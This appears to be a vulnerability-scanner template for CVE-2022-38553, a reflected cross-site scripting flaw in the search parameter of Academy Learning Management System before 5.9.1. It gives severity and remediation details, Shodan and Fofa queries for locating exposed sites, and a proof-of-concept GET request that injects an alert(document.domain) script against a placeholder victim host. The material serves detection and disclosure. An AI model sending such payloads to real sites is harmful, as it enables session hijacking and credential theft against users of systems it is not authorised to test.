| Title | Academy Learning Management System <5.9.1 - Cross-Site Scripting |
|---|---|
| Author | edoardottt |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to Academy Learning Management System version 5.9.1 or later to mitigate the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07869 |
| CVE ID | CVE-2022-38553 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"study any topic, anytime" |
| Fofa Query | body="study any topic, anytime" |
| Tags | cve2022 cve academylms xss creativeitem vuln |
Academy Learning Management System before 5.9.1 contains a cross-site scripting vulnerability via the Search parameter. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /search?query=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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